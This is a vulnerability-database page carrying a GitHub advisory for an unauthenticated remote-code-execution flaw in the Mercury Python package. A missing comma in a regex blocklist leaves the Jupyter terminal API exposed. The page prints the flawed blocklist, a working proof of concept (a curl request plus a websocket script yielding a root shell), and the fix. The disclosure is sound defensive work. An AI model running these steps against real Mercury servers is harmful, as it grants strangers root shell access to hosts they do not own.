All vulnerabilities
CVE-2026-111057GHSA-f8c7-rwf9-fmgm

Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass

mljar mercurypipLibraries & packages
CVSS
10.0Critical
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)0.44%Chance of exploitation activity in the next 30 days, higher than 37% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in3.2.4Fixed versionGitHub
Published19 Oct 2026Updated 19 Oct 2026CVE List

What fixes it

  • 3.2.4mercury, pipGitHub
  • 3.2.4mercury, PyPIOSVpip install "mercury>=3.2.4"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details

The blocklist in mercury_app/block_handler.py is defined as:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together) /api/shutdown(?:/.*)? /files(?:/.*)?

A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC

Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration.

Step 1 - spawn a terminal:

curl -i -X POST http://localhost:8888/api/terminals

Response: {"name": "1", "last_activity": "..."}

Step 2 - connect to the terminal and execute commands:

python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Observed output:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirms full, interactive root shell access with no authentication or prior access of any kind.

Impact

  • Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
  • Integrity: attacker can modify or delete any file, including notebooks served to other users.
  • Availability: attacker can shut down or crash the server/container.
  • Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix

Add the missing comma so /api/terminals becomes an independent blocklist rule:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Text from GitHub Advisory Database

Affected versions 15

  • mercury, pip>= 3.0.0, <= 3.2.3GitHub
  • mercuryaffected: >= 3.0.0, < 3.2.4CVE List
  • mercury, PyPIfrom 3.0.0, fixed in 3.2.4OSV
  • mercury, PyPI3.0.0OSV
  • mercury, PyPI3.0.1OSV
  • mercury, PyPI3.0.2OSV
  • mercury, PyPI3.1.0OSV
  • mercury, PyPI3.1.1OSV
  • mercury, PyPI3.1.2OSV
  • mercury, PyPI3.1.4OSV
  • mercury, PyPI3.1.5OSV
  • mercury, PyPI3.2.0OSV
  • mercury, PyPI3.2.1OSV
  • mercury, PyPI3.2.2OSV
  • mercury, PyPI3.2.3OSV

References 4